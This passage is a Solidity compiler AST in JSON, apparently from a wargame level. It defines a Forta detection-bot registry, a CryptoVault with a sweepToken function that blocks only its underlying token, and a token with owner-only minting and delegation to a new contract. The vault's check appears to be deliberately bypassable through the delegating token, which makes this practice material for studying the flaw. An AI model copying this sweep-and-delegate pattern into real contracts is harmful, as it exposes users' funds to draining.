external"}},"id":51543,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:57:71","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51549,"nodeType":"TryStatement","src":"1082:102:71"}]},"baseFunctions":[51483],"functionSelector":"fa1fd28c","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"940:6:71","overrides":{"id":51522,"nodeType":"OverrideSpecifier","overrides":[],"src":"994:8:71"},"parameters":{"id":51521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51518,"mutability":"mutable","name":"user","nameLocation":"955:4:71","nodeType":"VariableDeclaration","scope":51551,"src":"947:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51517,"name":"address","nodeType":"ElementaryTypeName","src":"947:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51520,"mutability":"mutable","name":"msgData","nameLocation":"976:7:71","nodeType":"VariableDeclaration","scope":51551,"src":"961:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51519,"name":"bytes","nodeType":"ElementaryTypeName","src":"961:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"946:38:71"},"returnParameters":{"id":51523,"nodeType":"ParameterList","parameters":[],"src":"1003:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51576,"nodeType":"FunctionDefinition","src":"1196:170:71","nodes":[],"body":{"id":51575,"nodeType":"Block","src":"1248:118:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51559,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1270:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51561,"indexExpression":{"id":51560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51553,"src":"1289:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1270:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1262:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51557,"name":"address","nodeType":"ElementaryTypeName","src":"1262:7:71","typeDescriptions":{}}},"id":51562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":51563,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1299:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1299:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1262:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51567,"nodeType":"IfStatement","src":"1258:60:71","trueBody":{"functionReturnParameters":51556,"id":51566,"nodeType":"Return","src":"1311:7:71"}},{"expression":{"id":51573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51568,"name":"botRaisedAlerts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51500,"src":"1327:15:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":51571,"indexExpression":{"expression":{"id":51569,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1343:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1347:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1343:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1327:27:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"hexValue":"31","id":51572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1358:1:71","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1327:32:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":51574,"nodeType":"ExpressionStatement","src":"1327:32:71"}]},"baseFunctions":[51488],"functionSelector":"087a43c1","implemented":true,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"1205:10:71","overrides":{"id":51555,"nodeType":"OverrideSpecifier","overrides":[],"src":"1239:8:71"},"parameters":{"id":51554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51553,"mutability":"mutable","name":"user","nameLocation":"1224:4:71","nodeType":"VariableDeclaration","scope":51576,"src":"1216:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51552,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1215:14:71"},"returnParameters":{"id":51556,"nodeType":"ParameterList","parameters":[],"src":"1248:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51490,"name":"IForta","nameLocations":["634:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":51489,"src":"634:6:71"},"id":51491,"nodeType":"InheritanceSpecifier","src":"634:6:71"}],"canonicalName":"Forta","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51577,51489],"name":"Forta","nameLocation":"625:5:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51645,"nodeType":"ContractDefinition","src":"1370:582:71","nodes":[{"id":51579,"nodeType":"VariableDeclaration","src":"1397:35:71","nodes":[],"constant":false,"functionSelector":"3234a197","mutability":"mutable","name":"sweptTokensRecipient","nameLocation":"1412:20:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51578,"name":"address","nodeType":"ElementaryTypeName","src":"1397:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51582,"nodeType":"VariableDeclaration","src":"1438:24:71","nodes":[],"constant":false,"functionSelector":"6f307dc3","mutability":"mutable","name":"underlying","nameLocation":"1452:10:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51581,"nodeType":"UserDefinedTypeName","pathNode":{"id":51580,"name":"IERC20","nameLocations":["1438:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1438:6:71"},"referencedDeclaration":47939,"src":"1438:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"public"},{"id":51592,"nodeType":"FunctionDefinition","src":"1469:80:71","nodes":[],"body":{"id":51591,"nodeType":"Block","src":"1500:49:71","nodes":[],"statements":[{"expression":{"id":51589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51587,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1510:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51588,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51584,"src":"1533:9:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1510:32:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51590,"nodeType":"ExpressionStatement","src":"1510:32:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51584,"mutability":"mutable","name":"recipient","nameLocation":"1489:9:71","nodeType":"VariableDeclaration","scope":51592,"src":"1481:17:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51583,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1480:19:71"},"returnParameters":{"id":51586,"nodeType":"ParameterList","parameters":[],"src":"1500:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51617,"nodeType":"FunctionDefinition","src":"1555:167:71","nodes":[],"body":{"id":51616,"nodeType":"Block","src":"1606:116:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51600,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1632:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"id":51599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1624:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51598,"name":"address","nodeType":"ElementaryTypeName","src":"1624:7:71","typeDescriptions":{}}},"id":51601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1624:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51604,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1655:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51603,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1647:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51602,"name":"address","nodeType":"ElementaryTypeName","src":"1647:7:71","typeDescriptions":{}}},"id":51605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1647:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1624:33:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920736574","id":51607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1659:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""},"value":"Already set"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""}],"id":51597,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1616:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1616:57:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51609,"nodeType":"ExpressionStatement","src":"1616:57:71"},{"expression":{"id":51614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51610,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1683:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51612,"name":"latestToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51594,"src":"1703:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51611,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1696:6:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1696:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1683:32:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51615,"nodeType":"ExpressionStatement","src":"1683:32:71"}]},"functionSelector":"bdb2321f","implemented":true,"kind":"function","modifiers":[],"name":"setUnderlying","nameLocation":"1564:13:71","parameters":{"id":51595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51594,"mutability":"mutable","name":"latestToken","nameLocation":"1586:11:71","nodeType":"VariableDeclaration","scope":51617,"src":"1578:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51593,"name":"address","nodeType":"ElementaryTypeName","src":"1578:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1577:21:71"},"returnParameters":{"id":51596,"nodeType":"ParameterList","parameters":[],"src":"1606:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51644,"nodeType":"FunctionDefinition","src":"1751:199:71","nodes":[],"body":{"id":51643,"nodeType":"Block","src":"1792:158:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"id":51626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51624,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1810:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51625,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1819:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1810:19:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e","id":51627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1831:33:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""},"value":"Can't transfer underlying token"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""}],"id":51623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1802:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1802:63:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51629,"nodeType":"ExpressionStatement","src":"1802:63:71"},{"expression":{"arguments":[{"id":51633,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1890:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":51638,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1936:4:71","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1928:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51636,"name":"address","nodeType":"ElementaryTypeName","src":"1928:7:71","typeDescriptions":{}}},"id":51639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:13:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51634,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1912:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1918:9:71","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1912:15:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51630,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1875:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1881:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47906,"src":"1875:14:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1875:68:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51642,"nodeType":"ExpressionStatement","src":"1875:68:71"}]},"functionSelector":"1be19560","implemented":true,"kind":"function","modifiers":[],"name":"sweepToken","nameLocation":"1760:10:71","parameters":{"id":51621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51620,"mutability":"mutable","name":"token","nameLocation":"1778:5:71","nodeType":"VariableDeclaration","scope":51644,"src":"1771:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51619,"nodeType":"UserDefinedTypeName","pathNode":{"id":51618,"name":"IERC20","nameLocations":["1771:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1771:6:71"},"referencedDeclaration":47939,"src":"1771:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"internal"}],"src":"1770:14:71"},"returnParameters":{"id":51622,"nodeType":"ParameterList","parameters":[],"src":"1792:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CryptoVault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51645],"name":"CryptoVault","nameLocation":"1379:11:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51720,"nodeType":"ContractDefinition","src":"1954:596:71","nodes":[{"id":51654,"nodeType":"VariableDeclaration","src":"2021:29:71","nodes":[],"constant":false,"functionSelector":"c89e4361","mutability":"mutable","name":"delegate","nameLocation":"2042:8:71","scope":51720,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51653,"nodeType":"UserDefinedTypeName","pathNode":{"id":51652,"name":"DelegateERC20","nameLocations":["2021:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2021:13:71"},"referencedDeclaration":51463,"src":"2021:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"public"},{"id":51669,"nodeType":"FunctionDefinition","src":"2057:93:71","nodes":[],"body":{"id":51668,"nodeType":"Block","src":"2116:34:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51664,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51656,"src":"2132:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51658,"src":"2136:6:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51663,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"2126:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2126:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51667,"nodeType":"ExpressionStatement","src":"2126:17:71"}]},"functionSelector":"40c10f19","implemented":true,"kind":"function","modifiers":[{"id":51661,"kind":"modifierInvocation","modifierName":{"id":51660,"name":"onlyOwner","nameLocations":["2106:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2106:9:71"},"nodeType":"ModifierInvocation","src":"2106:9:71"}],"name":"mint","nameLocation":"2066:4:71","parameters":{"id":51659,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51656,"mutability":"mutable","name":"to","nameLocation":"2079:2:71","nodeType":"VariableDeclaration","scope":51669,"src":"2071:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51655,"name":"address","nodeType":"ElementaryTypeName","src":"2071:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51658,"mutability":"mutable","name":"amount","nameLocation":"2091:6:71","nodeType":"VariableDeclaration","scope":51669,"src":"2083:14:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51657,"name":"uint256","nodeType":"ElementaryTypeName","src":"2083:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2070:28:71"},"returnParameters":{"id":51662,"nodeType":"ParameterList","parameters":[],"src":"2116:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51682,"nodeType":"FunctionDefinition","src":"2156:114:71","nodes":[],"body":{"id":51681,"nodeType":"Block","src":"2231:39:71","nodes":[],"statements":[{"expression":{"id":51679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51677,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2241:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51678,"name":"newContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51672,"src":"2252:11:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"src":"2241:22:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51680,"nodeType":"ExpressionStatement","src":"2241:22:71"}]},"functionSelector":"1d2d8400","implemented":true,"kind":"function","modifiers":[{"id":51675,"kind":"modifierInvocation","modifierName":{"id":51674,"name":"onlyOwner","nameLocations":["2221:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2221:9:71"},"nodeType":"ModifierInvocation","src":"2221:9:71"}],"name":"delegateToNewContract","nameLocation":"2165:21:71","parameters":{"id":51673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51672,"mutability":"mutable","name":"newContract","nameLocation":"2201:11:71","nodeType":"VariableDeclaration","scope":51682,"src":"2187:25:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51671,"nodeType":"UserDefinedTypeName","pathNode":{"id":51670,"name":"DelegateERC20","nameLocations":["2187:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2187:13:71"},"referencedDeclaration":51463,"src":"2187:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"internal"}],"src":"2186:27:71"},"returnParameters":{"id":51676,"nodeType":"ParameterList","parameters":[],"src":"2231:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51719,"nodeType":"FunctionDefinition","src":"2276:272:71","nodes":[],"body":{"id":51718,"nodeType":"Block","src":"2352:196:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51694,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2374:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"id":51693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2366:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51692,"name":"address","nodeType":"ElementaryTypeName","src":"2366:7:71","typeDescriptions":{}}},"id":51695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2366:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2395:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 